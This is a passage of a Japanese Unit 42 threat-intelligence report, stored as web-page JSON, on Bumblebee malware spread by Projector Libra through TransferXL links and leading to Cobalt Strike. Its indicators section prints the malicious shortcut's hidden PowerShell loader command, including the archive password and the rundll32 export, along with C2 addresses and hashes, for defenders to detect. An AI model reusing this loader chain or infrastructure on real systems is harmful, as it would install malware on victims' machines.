\u56f38 Wireshark\u3067\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3057\u305f\u611f\u67d3\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/figcaption><\/figure>\n\u4ee5\u4e0b\u306e\u56f39\u306e\u3088\u3046\u306b\u3001Bumblebee\u306eC2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306e\u958b\u59cb\u304b\u3089\u7d0415\u5206\u5f8c\u300145.153.243[.]142:443<\/span>\u3067fuvataren[.]com<\/span>\u3092\u4f7f\u7528\u3059\u308bCobalt Strike\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n![\"\u611f\u67d3\u6642\u306b\u78ba\u8a8d\u3055\u308c\u305fCobalt]()
\u56f39 \u611f\u67d3\u6642\u306b\u78ba\u8a8d\u3055\u308c\u305fCobalt Strike\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3002<\/figcaption><\/figure>\n\u3053\u306e\u4e8b\u4f8b\u3068\u30e9\u30dc\u3067\u306e\u30c6\u30b9\u30c8\u3067\u3001Bumblebee\u306e\u611f\u67d3\u306f\u305f\u3073\u305f\u3073Cobalt Strike\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3078\u3068\u767a\u5c55\u3057\u3066\u3044\u307e\u3057\u305f\u3002Unit 42\u306fTwitter\u306e@Unit42_Intel<\/a>\u30cf\u30f3\u30c9\u30eb\u304b\u3089Bumblebee\u611f\u67d3\u306b\u3088\u308bCobalt Strike\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u4ee5\u4e0b\u306e\u30c4\u30a4\u30fc\u30c8\u3067\u5831\u544a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n\n- 2022\u5e744\u67085\u65e5<\/a><\/li>\n
- 2022\u5e745\u67083\u65e5<\/a><\/li>\n
- 2022\u5e745\u670831\u65e5<\/a><\/li>\n
- 2022\u5e746\u67089\u65e5<\/a><\/li>\n
- 2022\u5e746\u670814\u65e5<\/a><\/li>\n<\/ul>\n
\u6a19\u7684\u3068\u306a\u3063\u305f\u74b0\u5883\u306e\u4fa1\u5024\u304c\u9ad8\u3044\u5834\u5408\u3001\u3055\u3089\u306a\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u52a0\u3048\u3001\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u304c\u78ba\u8a8d\u3055\u308c\u308b\u5834\u5408\u3082\u3042\u308a\u307e\u3059\u3002\u305f\u3060\u3057\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u3067\u306f\u9b45\u529b\u7684\u306a\u6a19\u7684\u3092\u7528\u610f\u3057\u306a\u304b\u3063\u305f\u305f\u3081\u3001Cobalt Strike\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306f1\u6642\u959311\u5206\u5f8c\u306b\u7a81\u7136\u7d42\u4e86\u3057\u307e\u3057\u305f\u3002<\/p>\n
<\/a>\u7d50\u8ad6<\/h2>\nBumblebee\u306f\u73fe\u5728\u3001\u304b\u3064\u3066BazarLoader\u3092\u914d\u5e03\u3057\u3066\u3044\u305fProjector Libra\u3092\u306f\u3058\u3081\u3068\u3059\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306b\u3088\u3063\u3066\u62e1\u6563\u3055\u308c\u3066\u3044\u307e\u3059\u3002Projector Libra\u306f\u3001TransferXL\u306a\u3069\u306e\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u4f7f\u3063\u3066\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u9001\u4fe1\u3059\u308b\u524d\u306b\u3001\u88ab\u5bb3\u8005\u30e1\u30fc\u30eb\u3068\u3084\u308a\u3068\u308a\u3059\u308b\u9ad8\u5ea6\u306a\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5c55\u958b\u3057\u307e\u3059\u3002<\/p>\n
\u73fe\u5728\u3001Projector Libra\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3001Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u305f\u3081\u306eWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\u3068\u96a0\u3057\u30d5\u30a1\u30a4\u30eb\u3092\u542b\u3080ISO\u30a4\u30e1\u30fc\u30b8\u3067\u69cb\u6210\u3055\u308c\u3066\u3044\u307e\u3059\u3002Bumblebee\u306f\u3001Windows\u30db\u30b9\u30c8\u306b\u611f\u67d3\u3059\u308b\u3053\u3068\u3092\u76ee\u7684\u3068\u3057\u3066\u3044\u307e\u3059\u3002AD\u74b0\u5883\u3067\u306fCobalt Strike\u611f\u67d3\u3078\u767a\u5c55\u3059\u308b\u3053\u3068\u304c\u591a\u304f\u3001\u305d\u3053\u304b\u3089\u3088\u308a\u6df1\u523b\u306a\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3064\u306a\u304c\u308b\u304a\u305d\u308c\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n
\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306f\u3001Projector Libra\u306eBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u88ab\u5bb3\u8005\u76ee\u7dda\u3067\u3069\u306e\u3088\u3046\u306b\u898b\u3048\u308b\u306e\u304b\u3092\u793a\u3057\u3066\u304a\u308a\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u62c5\u5f53\u8005\u304c\u3053\u306e\u8105\u5a01\u3092\u3088\u308a\u6df1\u304f\u7406\u89e3\u3057\u3001\u7d44\u7e54\u3092\u5b88\u308b\u3046\u3048\u3067\u5f79\u7acb\u3064\u3053\u3068\u3067\u3057\u3087\u3046\u3002<\/p>\n
Windows\u30e6\u30fc\u30b6\u30fc\u306f\u3001\u30b9\u30d1\u30e0\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3068\u9069\u5207\u306a\u30b7\u30b9\u30c6\u30e0\u7ba1\u7406\u3001\u305d\u3057\u3066\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306b\u30d1\u30c3\u30c1\u3092\u9069\u7528\u3057\u3066\u6700\u65b0\u306e\u72b6\u614b\u3092\u4fdd\u3064\u3088\u3046\u306b\u3059\u308b\u3053\u3068\u3067\u3001Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u30ea\u30b9\u30af\u3092\u9632\u6b62\u3067\u304d\u307e\u3059\u3002\u307e\u305f\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001Cortex XDR<\/a>\u3068\u6b21\u4e16\u4ee3\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb<\/a>\u3092WildFire<\/a>\u3084\u8105\u5a01\u9632\u5fa1<\/a>\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u3068\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067Bumblebee\u306b\u5bfe\u3059\u308b\u3055\u3089\u306a\u308b\u4fdd\u8b77\u304c\u5f97\u3089\u308c\u307e\u3059\u3002<\/p>\n\u4fb5\u5bb3\u306e\u61f8\u5ff5\u304c\u3042\u308a\u5f0a\u793e\u306b\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u95a2\u3059\u308b\u3054\u76f8\u8ac7\u3092\u306a\u3055\u308a\u305f\u3044\u5834\u5408\u306f\u3001infojapan@paloaltonetworks.com<\/a> \u307e\u3067\u30e1\u30fc\u30eb\u306b\u3066\u3054\u9023\u7d61\u3044\u305f\u3060\u304f\u304b\u3001\u4e0b\u8a18\u306e\u96fb\u8a71\u756a\u53f7\u307e\u3067\u304a\u554f\u3044\u5408\u308f\u305b\u304f\u3060\u3055\u3044(\u3054\u76f8\u8ac7\u306f\u5f0a\u793e\u88fd\u54c1\u306e\u304a\u5ba2\u69d8\u306b\u306f\u9650\u5b9a\u3055\u308c\u307e\u305b\u3093)\u3002<\/p>\n\n- \u5317\u7c73\u30d5\u30ea\u30fc\u30c0\u30a4\u30e4\u30eb: 866.486.4842 (866.4.UNIT42)<\/li>\n
- \u6b27\u5dde: +31.20.299.3130<\/li>\n
- \u30a2\u30b8\u30a2\u592a\u5e73\u6d0b: +65.6983.8730<\/li>\n
- \u65e5\u672c: +81.50.1790.0200<\/li>\n<\/ul>\n
\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u30d5\u30a1\u30a4\u30eb\u30b5\u30f3\u30d7\u30eb\u3084\u4fb5\u5bb3\u306e\u5146\u5019\u306a\u3069\u3092\u542b\u3080\u3053\u308c\u3089\u306e\u8abf\u67fb\u7d50\u679c\u3092Cyber Threat Alliance (CTA \u30b5\u30a4\u30d0\u30fc\u8105\u5a01\u30a2\u30e9\u30a4\u30a2\u30f3\u30b9)\u306e\u30e1\u30f3\u30d0\u30fc\u3068\u5171\u6709\u3057\u307e\u3057\u305f\u3002CTA\u306e\u30e1\u30f3\u30d0\u30fc\u306f\u3053\u306e\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3001\u304a\u5ba2\u69d8\u306b\u4fdd\u8b77\u3092\u8fc5\u901f\u306b\u63d0\u4f9b\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30b5\u30a4\u30d0\u30fc\u653b\u6483\u8005\u3092\u4f53\u7cfb\u7684\u306b\u963b\u5bb3\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u8a73\u7d30\u306b\u3064\u3044\u3066\u306f Cyber Threat Alliance <\/a>\u304b\u3089\u3054\u89a7\u304f\u3060\u3055\u3044\uff61<\/p>\n<\/a>IoC<\/h2>\nTransferXL\u306e\u30e1\u30fc\u30eb\u306e\u30ea\u30f3\u30af\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u60aa\u610f\u306e\u3042\u308bZIP\u30a2\u30fc\u30ab\u30a4\u30d6:<\/strong><\/p>\nSHA256\u30cf\u30c3\u30b7\u30e5: 58b9a5202a3cc96e86e24cd3c4b797d2efbf7d6b52461eef89b045aa1ff6c6ae<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,002,214\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240: hxxps:\/\/www.transferxl[.]com\/download\/00jJFzX0NZqb7p?utm_source=downloadmail&utm_medium=e-mail<\/span>
\n\u6ce8\u8a18: \u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306f2022\u5e745\u670826\u65e5\u307e\u3067\u63d0\u4f9b\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u304c\u3001\u305d\u306e\u5f8c\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u306b\u3088\u3063\u3066\u81ea\u52d5\u7684\u306b\u524a\u9664\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n\u4e0a\u8a18\u306ezip\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089\u62bd\u51fa\u3055\u308c\u305fISO\u30a4\u30e1\u30fc\u30b8:<\/strong><\/p>\nSHA256\u30cf\u30c3\u30b7\u30e5: 9be296fc9b23ad6aed19934123db9c3a2406d544156b7768374e0f9a75eb1549<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,333,248\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u540d: SOW_2.iso<\/span><\/p>\n\u4e0a\u8a18\u306eISO\u30a4\u30e1\u30fc\u30b8\u306e\u5185\u5bb9:<\/strong><\/p>\nSHA256\u30cf\u30c3\u30b7\u30e5: a10291506b884327307ae6d97dd6c043e9f2b6283ca3889dc2f5936fb2357862<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,604\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u540d: Attachments.lnk<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: ISO\u30a4\u30e1\u30fc\u30b8\u306b\u542b\u307e\u308c\u308bWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8
\n\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8: C:\\Windows\\System32\\cmd.exe \/c powershell -WindowStyle Hidden -Command \".\\7za.exe x archive.7z -pFhu$$57csa -o\\\"c:\\programdata\\\" -y > $null; rundll32 c:\\programdata\\19a.dll,oxgdXPSGPw<\/span><\/p>\nSHA256\u30cf\u30c3\u30b7\u30e5: c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 643,147\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u540d: 7za.exe<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: ISO\u30a4\u30e1\u30fc\u30b8\u306b\u542b\u307e\u308c\u308b7-Zip\u30b9\u30bf\u30f3\u30c9\u30a2\u30ed\u30f3\u30b3\u30f3\u30bd\u30fc\u30eb\u306e\u30b3\u30d4\u30fc(\u6709\u5bb3\u3067\u306a\u3044)<\/p>\nSHA256\u30cf\u30c3\u30b7\u30e5: e62b9513784ae339351de089dd356742aa1c95971ad8c0cf126f4e72131df96e<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 690,970\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u540d: archive.7z<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: \u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305f7-Zip\u30a2\u30fc\u30ab\u30a4\u30d6\u3067\u3042\u308a\u3001Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306eDLL\u30d5\u30a1\u30a4\u30eb\u3092\u542b\u3080
\n\u30d1\u30b9\u30ef\u30fc\u30c9: Fhu$$57csa<\/span><\/p>\nSHA256\u30cf\u30c3\u30b7\u30e5: 024d048f8ce81e8784215dc6cf0e17
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,174,016\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240: C:\\ProgramData\\19a.dll<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: 7-Zip\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089\u62bd\u51fa\u3055\u308c\u305fBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306e64\u30d3\u30c3\u30c8\u7248DLL\u30d5\u30a1\u30a4\u30eb
\n\u5b9f\u884c\u65b9\u6cd5: rundll32.exe<\/span> [filename]<\/em>, oxgdXPSGPw<\/span><\/p>\nBumblebee\u306eC2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af:<\/strong><\/p>\n54.38.139[.]20:443<\/span> - HTTPS\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/p>\nCobalt Strike\u306eC2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af:<\/strong><\/p>\n45.153.243[.]142:443<\/span> - fuvataren[.]com<\/span> - HTTPS\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/p>\n<\/a>\u8ffd\u52a0\u30ea\u30bd\u30fc\u30b9<\/h2>\nBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306b\u95a2\u3059\u308b\u8ffd\u52a0\u60c5\u5831:<\/strong><\/p>\nNew Bumblebee malware replaces Conti's BazarLoader in cyberattacks<\/a> - BleepingComputer
\nAdventures in the land of BumbleBee \u2013 a new malicious loader<\/a> - NCC Group
\nThis isn't Optimus Prime's Bumblebee but it's Still Transforming<\/a> - Proofpoint
\nThe chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection<\/a> - Eli Salem\u6c0f\u306e\u30d6\u30ed\u30b0\u8a18\u4e8b
\n2022-04-05 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f
\n2022-05-03 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f
\n2022-05-31 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f
\n2022-06-09 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f
\n2022-06-14 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f<\/p>\nProjector Libra\u306e\u6d3b\u52d5\u306b\u95a2\u3059\u308b\u8ffd\u52a0\u60c5\u5831:<\/strong><\/p>\nExposing initial access broker with ties to Conti<\/a> - Threat Analysis Group (TAG)
\nBumblebee Malware from TransferXL URLs<\/a> - Internet Storm Center
\nEXOTIC LILY activity pushing Bumblebee on 2022-03-28<\/a> - @BushidoToken\u306b\u3088\u308bTwitter\u6295\u7a3f
\nBumblebee activity on 2022-05-11<\/a> - @k3dg3\u306b\u3088\u308bTwitter\u6295\u7a3f
\nBumblebee activity on 2022-05-16<\/a> - @k3dg3\u306b\u3088\u308bTwitter\u6295\u7a3f
\nBumblebee activity on 2022-05-24<\/a> - @k3dg3\u306b\u3088\u308bTwitter\u6295\u7a3f
\nBumblebee activity on 2022-06-14<\/a> - @k3dg3\u306b\u3088\u308bTwitter\u6295\u7a3f<\/p>\n2022-08-10 16:30 JST \u82f1\u8a9e\u7248\u66f4\u65b0\u65e5 2022-08-03 19:30 PDT \u306e\u5185\u5bb9\u3092\u53cd\u6620\u00a0<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"\u6982\u8981 Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u62e1\u6563\u3059\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u30b0\u30eb\u30fc\u30d7Projector Libra\u306f\u3001EXOTIC LILY\u3068\u3082\u547c\u3070\u308c\u3001\u6a19\u7684\u7d44\u7e54\u3068\u30e1\u30fc\u30eb\u3067\u76f4\u63a5\u3084\u308a\u3068\u308a\u3057\u305f\u5f8c\u3001\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u5229\u7528\u3057\u3066\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u62e1\u6563\u3059\u308b<\/p>\n","protected":false},"author":35,"featured_media":134228,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4322,3057,4431],"tags":[5349,5535,4899,5353,5431,4519,5536],"product_categories":[4346,4442,4444,4448,4456,4465],"coauthors":[485],"class_list":["post-124401","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-threat-actor-groups","category-ransomware-ja","category-threat-actor-groups-ja","tag-bazarloader-ja","tag-bumblebee-ja","tag-cobalt-strike-ja","tag-conti-ransomware-ja","tag-malware-prevention-ja","tag-phishing-ja","tag-projector-libra","product_categories-advanced-threat-prevention","product_categories-advanced-threat-prevention-ja","product_categories-advanced-wildfire-ja","product_categories-cortex-xdr-ja","product_categories-next-generation-firewall-ja","product_categories-unit-42-incident-response-ja"],"yoast_head":"\n
Bumblebee\u306e\u98db\u7fd4: \u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3<\/title>\n<meta name=\"description\" content=\"Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3059\u308b\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7 Projector Libra\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5b9f\u30b5\u30f3\u30d7\u30eb\u3092\u3082\u3068\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306f\u88ab\u5bb3\u8005\u3068\u30e1\u30fc\u30eb\u3092\u3084\u308a\u3068\u308a\u3057\u3001\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3057\u307e\u3059\u3002\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3044\u305f\u308b\u4f8b\u3082\u3042\u308a\u307e\u3059\u3002\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Bumblebee\u306e\u98db\u7fd4: \u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3\" \/>\n<meta property=\"og:description\" content=\"Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3059\u308b\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7 Projector Libra\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5b9f\u30b5\u30f3\u30d7\u30eb\u3092\u3082\u3068\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306f\u88ab\u5bb3\u8005\u3068\u30e1\u30fc\u30eb\u3092\u3084\u308a\u3068\u308a\u3057\u3001\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3057\u307e\u3059\u3002\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3044\u305f\u308b\u4f8b\u3082\u3042\u308a\u307e\u3059\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/\" \/>\n<meta property=\"og:site_name\" content=\"Unit 42\" \/>\n<meta property=\"article:published_time\" content=\"2022-08-10T07:37:31+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-08-10T07:39:46+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/06_Business_email_compromise_Category_1920x900.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"900\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Brad Duncan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Bumblebee\u306e\u98db\u7fd4: \u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3","description":"Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3059\u308b\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7 Projector Libra\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5b9f\u30b5\u30f3\u30d7\u30eb\u3092\u3082\u3068\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306f\u88ab\u5bb3\u8005\u3068\u30e1\u30fc\u30eb\u3092\u3084\u308a\u3068\u308a\u3057\u3001\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3057\u307e\u3059\u3002\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3044\u305f\u308b\u4f8b\u3082\u3042\u308a\u307e\u3059\u3002","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/","og_locale":"ja_JP","og_type":"article","og_title":"Bumblebee\u306e\u98db\u7fd4: \u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3","og_description":"Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3059\u308b\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7 Projector Libra\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5b9f\u30b5\u30f3\u30d7\u30eb\u3092\u3082\u3068\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306f\u88ab\u5bb3\u8005\u3068\u30e1\u30fc\u30eb\u3092\u3084\u308a\u3068\u308a\u3057\u3001\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3057\u307e\u3059\u3002\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3044\u305f\u308b\u4f8b\u3082\u3042\u308a\u307e\u3059\u3002","og_url":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/","og_site_name":"Unit 42","article_published_time":"2022-08-10T07:37:31+00:00","article_modified_time":"2022-08-10T07:39:46+00:00","og_image":[{"width":1920,"height":900,"url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/06_Business_email_compromise_Category_1920x900.jpg","type":"image\/jpeg"}],"author":"Brad Duncan","twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#article","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/"},"author":{"name":"Brad Duncan","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/66a2d5ad3475220e098802b8b82a6b5b"},"headline":"Bumblebee\u306e\u98db\u7fd4: \u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3","datePublished":"2022-08-10T07:37:31+00:00","dateModified":"2022-08-10T07:39:46+00:00","mainEntityOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/"},"wordCount":701,"commentCount":0,"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#primaryimage"},"thumbnailUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/06_Business_email_compromise_Category_1920x900.jpg","keywords":["BazarLoader","BumbleBee","Cobalt Strike","conti ransomware","Malware Prevention","phishing","projector libra"],"articleSection":["Threat Actor Groups","\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2","\u8105\u5a01\u30a2\u30af\u30bf\u30fc \u30b0\u30eb\u30fc\u30d7"],"inLanguage":"ja","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/","url":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/","name":"Bumblebee\u306e\u98db\u7fd4: 